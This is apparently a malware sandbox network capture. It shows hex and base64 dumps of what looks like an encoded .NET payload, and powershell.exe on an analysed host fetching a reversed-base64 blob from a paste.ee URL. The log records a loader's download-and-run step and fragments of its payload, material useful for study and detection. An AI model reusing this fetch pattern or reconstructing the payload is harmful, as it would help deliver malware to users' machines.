2024-10-02 03:23:11 UTC	16384	IN	Data Raw: 2f 2f 2f 77 41 52 42 47 39 49 49 77 41 47 62 33 51 41 41 41 6f 54 42 53 41 46 41 41 41 41 4f 44 48 2f 2f 2f 38 41 4f 4e 73 41 41 41 41 67 43 41 41 41 41 44 67 45 41 41 41 41 2f 67 77 4d 41 45 55 67 41 41 41 41 4f 51 49 41 41 47 34 43 41 41 42 61 41 51 41 41 66 51 41 41 41 4d 73 43 41 41 43 4d 41 51 41 41 46 41 45 41 41 4a 77 44 41 41 43 55 41 41 41 41 41 51 4d 41 41 4c 77 41 41 41 41 57 41 41 41 41 33 41 49 41 41 4d 63 42 41 41 43 6a 41 51 41 41 53 67 49 41 41 41 55 41 41 41 43 62 41 67 41 41 58 67 41 41 41 49 45 42 41 41 41 38 41 51 41 41 61 77 45 41 41 42 30 44 41 41 44 38 41 41 41 41 66 77 49 41 41 4f 30 42 41 41 44 68 41 41 41 41 53 77 45 41 41 44 51 41 41 41 42 46 41 41 41 41 49 51 41 41 41 42 4d 43 41 41 41 34 4e 41 49 41 41 42 45 49 4f 6a 30 44 41 Data Ascii: ///wARBG9IIwAGb3QAAAoTBSAFAAAAODH///8AONsAAAAgCAAAADgEAAAA/gwMAEUgAAAAOQIAAG4CAABaAQAAfQAAAMsCAACMAQAAFAEAAJwDAACUAAAAAQMAALwAAAAWAAAA3AIAAMcBAACjAQAASgIAAAUAAACbAgAAXgAAAIEBAAA8AQAAawEAAB0DAAD8AAAAfwIAAO0BAADhAAAASwEAADQAAABFAAAAIQAAABMCAAA4NAIAABEIOj0DA
2024-10-02 03:23:11 UTC	16384	IN	Data Raw: 38 52 43 53 68 31 41 67 41 47 62 7a 49 6a 41 41 59 52 43 57 2f 47 49 67 41 47 4b 48 59 43 41 41 5a 76 4d 69 4d 41 42 69 68 30 41 67 41 47 45 77 38 67 43 51 41 41 41 48 37 46 43 41 41 45 65 38 49 49 41 41 51 36 7a 50 37 2f 2f 79 59 67 44 51 41 41 41 44 6a 42 2f 76 2f 2f 45 51 49 54 41 79 41 49 41 41 41 41 2f 67 34 4b 41 44 69 72 2f 76 2f 2f 4f 42 73 42 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 37 4d 49 41 41 51 36 6c 76 37 2f 2f 79 59 67 41 41 41 41 41 44 69 4c 2f 76 2f 2f 45 51 45 67 70 30 47 63 33 79 41 44 41 41 41 41 59 79 42 63 44 35 4f 49 59 58 37 46 43 41 41 45 65 38 51 49 41 41 52 68 4b 46 51 43 41 41 59 6f 59 77 49 41 42 68 4d 43 49 42 34 41 41 41 41 34 56 2f 37 2f 2f 78 45 48 4f 6c 6f 42 41 41 41 67 43 67 41 41 41 48 37 46 43 41 41 45 65 Data Ascii: 8RCSh1AgAGbzIjAAYRCW/GIgAGKHYCAAZvMiMABih0AgAGEw8gCQAAAH7FCAAEe8IIAAQ6zP7//yYgDQAAADjB/v//EQITAyAIAAAA/g4KADir/v//OBsBAAAgAAAAAH7FCAAEe7MIAAQ6lv7//yYgAAAAADiL/v//EQEgp0Gc3yADAAAAYyBcD5OIYX7FCAAEe8QIAARhKFQCAAYoYwIABhMCIB4AAAA4V/7//xEHOloBAAAgCgAAAH7FCAAEe
2024-10-02 03:23:11 UTC	16384	IN	Data Raw: 41 41 4f 4d 37 38 2f 2f 38 52 41 54 6b 71 2f 66 2f 2f 49 41 63 41 41 41 42 2b 78 51 67 41 42 48 76 6b 43 41 41 45 4f 72 50 38 2f 2f 38 6d 49 41 49 41 41 41 41 34 71 50 7a 2f 2f 77 41 41 41 52 41 41 41 41 49 41 71 77 44 35 70 41 46 33 41 41 41 41 41 43 5a 2b 6f 51 41 41 42 42 54 2b 41 53 6f 41 41 42 70 2b 6f 51 41 41 42 43 6f 41 4b 76 34 4a 41 41 42 76 5a 51 41 41 43 69 6f 41 4b 76 34 4a 41 41 42 76 54 51 41 41 43 69 6f 41 4c 67 44 2b 43 51 41 41 4b 50 77 6c 41 41 59 71 4c 67 44 2b 43 51 41 41 4b 4c 45 45 41 41 59 71 4b 76 34 4a 41 41 42 76 2b 51 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 2b 41 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 45 43 4d 41 42 69 6f 41 4c 67 44 2b 43 51 41 41 4b 43 55 42 41 41 6f 71 48 67 41 6f 73 41 51 41 42 69 70 4b 2f 67 6b 41 41 Data Ascii: AAOM78//8RATkq/f//IAcAAAB+xQgABHvkCAAEOrP8//8mIAIAAAA4qPz//wAAARAAAAIAqwD5pAF3AAAAACZ+oQAABBT+ASoAABp+oQAABCoAKv4JAABvZQAACioAKv4JAABvTQAACioALgD+CQAAKPwlAAYqLgD+CQAAKLEEAAYqKv4JAABv+QIABioAKv4JAABv+AIABioAKv4JAABvECMABioALgD+CQAAKCUBAAoqHgAosAQABipK/gkAA
2024-10-02 03:23:11 UTC	16384	IN	Data Raw: 6f 49 41 41 51 36 59 50 2f 2f 2f 79 59 67 43 41 41 41 41 44 68 56 2f 2f 2f 2f 4f 47 30 41 41 41 41 67 42 77 41 41 41 48 37 46 43 41 41 45 65 37 67 49 41 41 51 36 50 50 2f 2f 2f 79 59 67 42 41 41 41 41 44 67 78 2f 2f 2f 2f 41 41 49 6f 43 77 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 75 67 67 41 42 44 6b 57 2f 2f 2f 2f 4a 69 41 42 41 41 41 41 4f 41 76 2f 2f 2f 38 41 49 49 66 62 73 78 73 67 6d 4f 66 75 4f 6c 67 67 64 4f 74 35 55 57 46 2b 78 51 67 41 42 48 73 43 43 51 41 45 59 53 67 37 41 77 41 47 4b 44 77 44 41 41 5a 36 42 47 39 67 41 41 41 4b 46 79 68 76 41 77 41 47 45 77 49 67 42 67 41 41 41 48 37 46 43 41 41 45 65 37 30 49 41 41 51 36 77 66 37 2f 2f 79 59 67 43 51 41 41 41 44 69 32 2f 76 2f 2f 41 41 51 55 2f 67 45 54 41 53 41 44 41 41 41 41 4f Data Ascii: oIAAQ6YP///yYgCAAAADhV////OG0AAAAgBwAAAH7FCAAEe7gIAAQ6PP///yYgBAAAADgx////AAIoCwMABiACAAAAfsUIAAR7uggABDkW////JiABAAAAOAv///8AIIfbsxsgmOfuOlggdOt5UWF+xQgABHsCCQAEYSg7AwAGKDwDAAZ6BG9gAAAKFyhvAwAGEwIgBgAAAH7FCAAEe70IAAQ6wf7//yYgCQAAADi2/v//AAQU/gETASADAAAAO
2024-10-02 03:23:11 UTC	16384	IN	Data Raw: 41 41 4f 4b 37 2f 2f 2f 38 52 41 44 70 2f 41 41 41 41 49 41 51 41 41 41 41 34 6e 66 2f 2f 2f 78 45 43 4f 71 49 41 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 38 4d 49 41 41 51 36 67 76 2f 2f 2f 79 59 67 41 41 41 41 41 44 68 33 2f 2f 2f 2f 41 41 49 6f 70 41 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 76 67 67 41 42 44 70 63 2f 2f 2f 2f 4a 69 41 44 41 41 41 41 4f 46 48 2f 2f 2f 38 41 4b 67 41 44 46 43 69 79 41 77 41 47 45 77 41 67 42 51 41 41 41 44 67 37 2f 2f 2f 2f 4f 44 41 41 41 41 41 67 43 41 41 41 41 50 34 4f 41 51 41 34 4a 50 2f 2f 2f 77 41 67 4a 47 76 43 36 53 41 58 47 50 4f 77 59 58 37 46 43 41 41 45 65 38 41 49 41 41 52 68 4b 4b 30 44 41 41 59 6f 73 51 51 41 42 6e 6f 43 65 37 4d 41 41 41 51 54 41 69 41 48 41 41 41 41 4f 50 54 2b 2f Data Ascii: AAOK7///8RADp/AAAAIAQAAAA4nf///xECOqIAAAAgAAAAAH7FCAAEe8MIAAQ6gv///yYgAAAAADh3////AAIopAMABiACAAAAfsUIAAR7vggABDpc////JiADAAAAOFH///8AKgADFCiyAwAGEwAgBQAAADg7////ODAAAAAgCAAAAP4OAQA4JP///wAgJGvC6SAXGPOwYX7FCAAEe8AIAARhKK0DAAYosQQABnoCe7MAAAQTAiAHAAAAOPT+/
2024-10-02 03:23:11 UTC	16384	IN	Data Raw: 4d 41 41 41 45 6f 38 67 4d 41 42 69 6a 7a 41 77 41 47 45 78 51 67 42 51 41 41 41 48 37 46 43 41 41 45 65 78 49 4a 41 41 51 36 42 65 66 2f 2f 79 59 67 41 51 41 41 41 44 6a 36 35 76 2f 2f 41 41 4b 6c 6c 51 41 41 41 58 4f 4d 41 51 41 4b 6a 4a 63 41 41 41 45 54 41 79 41 67 41 41 41 41 4f 4e 33 6d 2f 2f 38 41 45 51 48 51 43 67 41 41 41 53 6a 79 41 77 41 47 4b 50 4d 44 41 41 59 54 48 79 41 4b 41 41 41 41 4f 4c 2f 6d 2f 2f 38 34 73 4f 2f 2f 2f 79 41 4c 41 41 41 41 66 73 55 49 41 41 52 37 33 77 67 41 42 44 71 6d 35 76 2f 2f 4a 69 42 4a 41 41 41 41 4f 4a 76 6d 2f 2f 38 34 32 50 72 2f 2f 79 42 32 41 41 41 41 4f 49 7a 6d 2f 2f 38 41 41 6d 38 6c 41 41 41 4b 4b 4b 49 41 41 41 6f 6f 41 41 51 41 42 6f 79 57 41 41 41 42 45 77 4d 67 44 77 41 41 41 50 34 4f 4c 67 41 34 59 Data Ascii: MAAAEo8gMABijzAwAGExQgBQAAAH7FCAAEexIJAAQ6Bef//yYgAQAAADj65v//AAKllQAAAXOMAQAKjJcAAAETAyAgAAAAON3m//8AEQHQCgAAASjyAwAGKPMDAAYTHyAKAAAAOL/m//84sO///yALAAAAfsUIAAR73wgABDqm5v//JiBJAAAAOJvm//842Pr//yB2AAAAOIzm//8AAm8lAAAKKKIAAAooAAQABoyWAAABEwMgDwAAAP4OLgA4Y
2024-10-02 03:23:11 UTC	16384	IN	Data Raw: 45 41 41 41 42 2b 78 51 67 41 42 48 76 71 43 41 41 45 4f 53 37 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 49 2f 2f 2f 2f 77 41 54 4d 41 51 41 52 67 41 41 41 4d 73 41 41 42 45 41 41 67 4d 45 4b 50 30 42 41 41 6f 41 41 6e 76 38 41 51 41 4b 4f 68 67 41 41 41 41 44 46 6a 38 52 41 41 41 41 41 77 49 6f 2f 67 45 41 43 76 34 43 46 76 34 42 4f 41 45 41 41 41 41 57 43 67 59 35 45 41 41 41 41 41 41 43 65 2f 51 42 41 41 6f 44 42 47 2f 65 41 51 41 4b 41 41 41 71 41 41 41 54 4d 41 51 41 6c 51 45 41 41 41 51 41 41 42 45 67 41 77 41 41 41 50 34 4f 41 41 41 34 41 41 41 41 41 50 34 4d 41 41 42 46 43 77 41 41 41 4b 77 41 41 41 43 48 41 41 41 41 30 77 41 41 41 4f 49 41 41 41 42 55 41 41 41 41 4b 51 41 41 41 41 55 41 41 41 42 45 41 41 41 41 47 67 45 41 41 50 51 41 41 41 43 71 41 Data Ascii: EAAAB+xQgABHvqCAAEOS7///8mIAEAAAA4I////wATMAQARgAAAMsAABEAAgMEKP0BAAoAAnv8AQAKOhgAAAADFj8RAAAAAwIo/gEACv4CFv4BOAEAAAAWCgY5EAAAAAACe/QBAAoDBG/eAQAKAAAqAAATMAQAlQEAAAQAABEgAwAAAP4OAAA4AAAAAP4MAABFCwAAAKwAAACHAAAA0wAAAOIAAABUAAAAKQAAAAUAAABEAAAAGgEAAPQAAACqA
2024-10-02 03:23:11 UTC	16384	IN	Data Raw: 41 44 41 6e 74 45 41 67 41 4b 2f 67 51 4c 42 7a 6b 67 41 41 41 41 41 41 4a 37 52 51 49 41 43 67 4d 43 65 30 55 43 41 41 6f 44 46 31 67 43 65 30 51 43 41 41 6f 44 57 53 6a 51 41 51 41 4b 41 41 41 43 65 30 55 43 41 41 6f 44 42 4b 51 31 41 41 41 62 41 67 4a 37 52 41 49 41 43 68 64 59 66 55 51 43 41 41 6f 71 41 41 41 54 4d 41 4d 41 54 77 41 41 41 41 4d 42 41 42 45 41 41 6e 74 45 41 67 41 4b 43 6a 67 75 41 41 41 41 41 41 59 58 57 51 6f 43 65 30 55 43 41 41 6f 47 6f 7a 55 41 41 42 75 4d 4e 51 41 41 47 77 4f 4d 4e 51 41 41 47 2f 34 42 43 77 63 35 43 41 41 41 41 41 41 47 44 44 67 54 41 41 41 41 41 41 59 57 2f 67 49 4e 43 54 72 48 2f 2f 2f 2f 46 51 77 34 41 41 41 41 41 41 67 71 41 42 4d 77 41 77 41 74 41 41 41 41 62 41 41 41 45 51 41 43 41 79 6a 47 41 51 41 4b 43 Data Ascii: ADAntEAgAK/gQLBzkgAAAAAAJ7RQIACgMCe0UCAAoDF1gCe0QCAAoDWSjQAQAKAAACe0UCAAoDBKQ1AAAbAgJ7RAIAChdYfUQCAAoqAAATMAMATwAAAAMBABEAAntEAgAKCjguAAAAAAYXWQoCe0UCAAoGozUAABuMNQAAGwOMNQAAG/4BCwc5CAAAAAAGDDgTAAAAAAYW/gINCTrH////FQw4AAAAAAgqABMwAwAtAAAAbAAAEQACAyjGAQAKC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49706	188.114.96.3	443	6528	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:23:13 UTC	67	OUT	GET /d/AaTNM/0 HTTP/1.1 Host: paste.ee Connection: Keep-Alive
2024-10-02 03:23:14 UTC	1206	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:23:14 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IAbkmIo5MsFm7uyYvRX7FEScMC9gCPAvyP%2BqvyaNLGVEEPpRK1t8OPchf%2FEKT0fF%2BktuD7lgYfovzJNNVu2%2FH8CyadA6CXY8b6yqUQJNiYSoshPGH6zT4aiIHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc19293f9681a3c-EWR
2024-10-02 03:23:14 UTC	163	IN	Data Raw: 66 37 66 0d 0a 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: f7f==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-02 03:23:14 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-02 03:23:14 UTC	1369	IN	Data Raw: 63 6c 42 46 49 73 49 6a 56 79 39 47 64 70 35 32 62 4e 4a 58 5a 51 35 6a 49 7a 64 6d 62 70 52 48 64 6c 4e 31 63 33 39 47 5a 75 6c 32 56 76 59 54 4d 77 49 7a 4c 4a 31 30 55 76 30 32 62 6a 35 43 64 6d 39 32 63 76 4a 33 59 70 31 6d 4c 7a 46 57 62 6c 68 32 59 7a 39 79 4c 36 41 48 64 30 68 6d 49 39 4d 6e 62 73 31 47 65 67 4d 33 63 6c 35 57 5a 79 46 32 64 42 6c 47 63 6b 78 54 43 4a 6f 51 44 2b 55 6d 63 68 64 58 51 70 42 48 5a 76 77 54 5a 31 4a 48 64 2b 49 79 63 6e 35 57 61 30 52 58 5a 54 4e 33 64 76 52 6d 62 70 64 31 4c 31 41 44 4d 79 38 53 53 4e 4e 31 4c 74 39 32 59 75 51 6e 5a 76 4e 33 62 79 4e 57 61 74 35 79 63 68 31 57 5a 6f 4e 32 63 76 38 69 4f 77 52 48 64 6f 4a 53 50 7a 35 47 62 74 68 48 49 6c 4a 58 59 33 46 55 61 77 52 47 50 67 41 43 49 67 41 43 49 4b 30 Data Ascii: clBFIsIjVy9Gdp52bNJXZQ5jIzdmbpRHdlN1c39GZul2VvYTMwIzLJ10Uv02bj5Cdm92cvJ3Yp1mLzFWblh2Yz9yL6AHd0hmI9Mnbs1GegM3cl5WZyF2dBlGckxTCJoQD+UmchdXQpBHZvwTZ1JHd+Iycn5Wa0RXZTN3dvRmbpd1L1ADMy8SSNN1Lt92YuQnZvN3byNWat5ych1WZoN2cv8iOwRHdoJSPz5GbthHIlJXY3FUawRGPgACIgACIK0
2024-10-02 03:23:14 UTC	1073	IN	Data Raw: 67 41 43 49 67 41 43 49 4b 30 67 50 74 30 43 49 34 41 79 63 33 39 47 5a 75 6c 32 56 67 30 53 4c 68 77 44 49 67 41 43 49 67 41 69 43 4e 6f 51 44 2b 30 53 4c 2b 38 43 49 69 30 58 59 7a 6b 6a 5a 31 49 6a 4d 77 51 44 4e 79 45 57 4c 6b 4a 54 5a 34 30 43 5a 69 5a 47 4e 74 59 54 4f 6b 56 54 4c 68 6c 6a 59 34 4d 54 4d 31 4d 7a 65 69 30 44 5a 4a 42 79 55 50 52 57 5a 30 4a 33 62 77 42 58 64 7a 78 54 4c 74 45 43 50 67 41 43 49 67 41 43 49 4b 30 67 50 74 30 43 49 33 41 79 63 33 39 47 5a 75 6c 32 56 67 30 53 4c 68 77 44 49 67 41 43 49 67 41 69 43 4e 6f 51 44 2b 30 53 4c 2b 38 43 49 69 30 48 4d 6d 4e 44 5a 7a 55 57 5a 6c 52 47 4f 77 41 54 4c 6c 5a 57 4e 68 31 53 4e 6a 4e 44 4e 74 59 44 4e 31 45 54 4c 33 55 44 4e 78 45 44 4d 79 55 32 65 69 30 44 5a 4a 42 79 55 50 52 57 Data Ascii: gACIgACIK0gPt0CI4Ayc39GZul2Vg0SLhwDIgACIgAiCNoQD+0SL+8CIi0XYzkjZ1IjMwQDNyEWLkJTZ40CZiZGNtYTOkVTLhljY4MTM1Mzei0DZJByUPRWZ0J3bwBXdzxTLtECPgACIgACIK0gPt0CI3Ayc39GZul2Vg0SLhwDIgACIgAiCNoQD+0SL+8CIi0HMmNDZzUWZlRGOwATLlZWNh1SNjNDNtYDN1ETL3UDNxEDMyU2ei0DZJByUPRW
2024-10-02 03:23:14 UTC	1369	IN	Data Raw: 33 66 66 61 0d 0a 44 2b 49 69 4d 32 35 53 62 7a 46 6d 4f 74 39 32 59 74 51 6e 5a 76 4e 33 62 79 4e 57 61 74 31 79 63 68 31 57 5a 6f 4e 32 63 36 34 6d 63 31 4a 53 50 7a 35 47 62 74 68 48 49 76 5a 6d 62 4a 52 33 63 31 4a 48 64 38 41 43 49 4b 30 67 50 76 49 43 63 77 46 6d 4c 75 39 57 61 30 46 32 59 70 78 47 63 77 46 55 65 4e 4a 53 50 6c 31 57 59 75 42 69 49 77 34 79 4e 75 41 6a 4c 78 49 53 50 75 39 57 61 7a 4a 58 5a 32 42 53 65 30 6c 47 64 75 56 47 5a 4a 6c 48 62 69 31 57 5a 7a 4e 58 59 38 41 43 49 4b 30 67 50 69 45 6a 64 75 30 32 63 68 70 54 62 76 4e 57 4c 30 5a 32 62 7a 39 6d 63 6a 6c 57 62 74 4d 58 59 74 56 47 61 6a 4e 6e 4f 75 4a 58 64 69 30 7a 63 75 78 57 62 34 42 69 49 77 34 53 4d 69 30 6a 62 76 6c 32 63 79 56 6d 56 30 4e 58 5a 6d 6c 6d 62 68 31 47 49 Data Ascii: 3ffaD+IiM25SbzFmOt92YtQnZvN3byNWat1ych1WZoN2c64mc1JSPz5GbthHIvZmbJR3c1JHd8ACIK0gPvICcwFmLu9Wa0F2YpxGcwFUeNJSPl1WYuBiIw4yNuAjLxISPu9WazJXZ2BSe0lGduVGZJlHbi1WZzNXY8ACIK0gPiEjdu02chpTbvNWL0Z2bz9mcjlWbtMXYtVGajNnOuJXdi0zcuxWb4BiIw4SMi0jbvl2cyVmV0NXZmlmbh1GI
2024-10-02 03:23:14 UTC	1369	IN	Data Raw: 47 41 41 41 51 41 41 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 41 41 41 41 41 41 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 41 41 67 44 41 41 41 51 41 41 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 41 41 41 46 41 41 41 41 47 41 43 41 41 67 41 41 41 41 41 42 41 43 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: GAAAQAAEAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAEAAAAAAAAAAAAAAAAAAAAIAAgDAAAQAAEAAAAAAAAAAAAAAAAAAAAIAAAFAAAAGACAAgAAAAABACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-02 03:23:14 UTC	1369	IN	Data Raw: 42 64 55 6d 45 46 30 68 44 48 63 41 44 4f 77 68 41 48 51 41 47 56 4a 52 48 49 67 77 41 67 67 41 48 49 45 41 41 45 45 77 45 41 4d 68 41 54 49 41 49 49 77 42 45 4e 46 42 45 56 4a 52 44 43 4b 52 41 45 41 53 44 4e 46 52 65 42 4b 52 41 41 63 41 50 53 30 55 45 63 55 6c 45 59 55 6c 45 64 67 6a 45 5a 4a 42 43 48 45 68 41 38 49 52 56 53 4d 51 55 53 55 52 43 41 4a 52 41 48 51 41 41 54 30 42 41 67 55 67 44 42 6b 68 45 56 55 51 42 43 4b 42 41 67 55 51 39 42 4b 42 41 67 55 51 38 42 4b 42 41 67 55 51 41 43 4b 52 41 42 41 69 42 31 48 6f 45 49 49 77 42 47 30 65 67 52 34 67 41 43 41 79 42 35 46 6f 45 49 45 41 41 47 34 51 43 73 45 42 47 45 63 77 42 70 48 6f 45 42 45 41 49 47 45 65 67 52 34 51 41 43 41 79 42 63 34 51 41 43 41 53 42 4f 34 67 44 4f 4d 41 41 47 55 64 67 52 34 Data Ascii: BdUmEF0hDHcADOwhAHQAGVJRHIgwAggAHIEAAEEwEAMhATIAIIwBENFBEVJRDCKRAEASDNFReBKRAAcAPS0UEcUlEYUlEdgjEZJBCHEhA8IRVSMQUSURCAJRAHQAAT0BAgUgDBkhEVUQBCKBAgUQ9BKBAgUQ8BKBAgUQACKRABAiB1HoEIIwBG0egR4gACAyB5FoEIEAAG4QCsEBGEcwBpHoEBEAIGEegR4QACAyBc4QACASBO4gDOMAAGUdgR4
2024-10-02 03:23:14 UTC	1369	IN	Data Raw: 74 46 6d 63 47 52 68 44 55 42 51 41 77 34 43 4e 32 31 6a 62 76 6c 32 63 79 56 6d 56 73 73 6d 63 76 64 58 5a 74 46 6d 63 47 52 56 52 4f 35 69 47 41 45 77 52 41 41 41 4d 75 63 6a 4c 77 34 53 4d 48 41 51 41 4d 41 41 41 41 41 51 41 46 41 41 41 41 41 41 41 43 41 51 41 49 30 49 67 52 45 51 41 67 59 51 41 7a 64 33 62 79 68 47 56 75 39 57 61 30 42 58 5a 6a 68 58 52 75 39 6d 54 77 46 6d 63 58 5a 68 41 55 42 51 41 41 45 67 48 41 41 41 41 41 41 41 43 41 45 41 43 49 45 51 41 67 51 41 6b 41 47 68 42 45 6f 51 66 53 45 67 41 41 59 77 43 39 4a 52 41 43 41 67 42 43 30 6e 45 42 49 41 41 47 77 51 66 53 45 67 41 41 59 51 44 39 4a 52 41 43 41 67 42 46 30 52 66 53 45 67 41 41 63 67 44 39 4a 52 41 43 41 67 42 39 4a 52 41 42 41 51 42 39 4a 52 42 4f 49 41 41 47 30 6e 45 4f 45 41 Data Ascii: tFmcGRhDUBQAw4CN21jbvl2cyVmVssmcvdXZtFmcGRVRO5iGAEwRAAAMucjLw4SMHAQAMAAAAAQAFAAAAAAACAQAI0IgREQAgYQAzd3byhGVu9Wa0BXZjhXRu9mTwFmcXZhAUBQAAEgHAAAAAAACAEACIEQAgQAkAGhBEoQfSEgAAYwC9JRACAgBC0nEBIAAGwQfSEgAAYQD9JRACAgBF0RfSEgAAcgD9JRACAgB9JRABAQB9JRBOIAAG0nEOEA
2024-10-02 03:23:14 UTC	1369	IN	Data Raw: 41 41 43 45 6f 41 41 49 4d 51 42 64 41 41 43 45 45 68 45 41 67 41 42 4e 49 42 41 49 51 67 44 42 45 41 41 45 67 6e 45 42 45 41 41 46 77 52 41 42 41 41 42 70 49 52 41 42 41 51 42 6c 45 52 49 53 30 68 45 63 49 41 42 41 6f 67 44 43 45 41 41 45 67 51 41 42 41 41 42 49 41 41 41 44 77 42 41 41 4d 67 41 42 45 41 41 45 55 68 45 42 45 41 41 46 55 68 45 41 41 41 42 4b 45 51 41 41 51 67 43 41 41 77 41 46 30 52 41 42 41 51 42 46 30 42 41 41 51 51 45 53 45 51 41 41 55 51 45 53 41 41 41 45 30 67 45 42 45 41 41 46 30 67 45 41 41 41 42 34 4a 52 41 5a 49 52 46 47 63 41 43 47 49 41 48 47 49 67 41 47 49 51 46 53 59 77 41 4b 59 67 41 46 30 68 42 44 45 68 45 47 4d 51 44 53 59 77 41 43 41 41 41 44 67 6d 45 47 4d 51 43 53 59 77 41 4f 59 67 41 42 41 41 49 44 45 41 41 41 4d 51 69 Data Ascii: AACEoAAIMQBdAACEEhEAgABNIBAIQgDBEAAEgnEBEAAFwRABAABpIRABAQBlERIS0hEcIABAogDCEAAEgQABAABIAAADwBAAMgABEAAEUhEBEAAFUhEAAABKEQAAQgCAAwAF0RABAQBF0BAAQQESEQAAUQESAAAE0gEBEAAF0gEAAAB4JRAZIRFGcACGIAHGIgAGIQFSYwAKYgAF0hBDEhEGMQDSYwACAAADgmEGMQCSYwAOYgABAAIDEAAAMQi
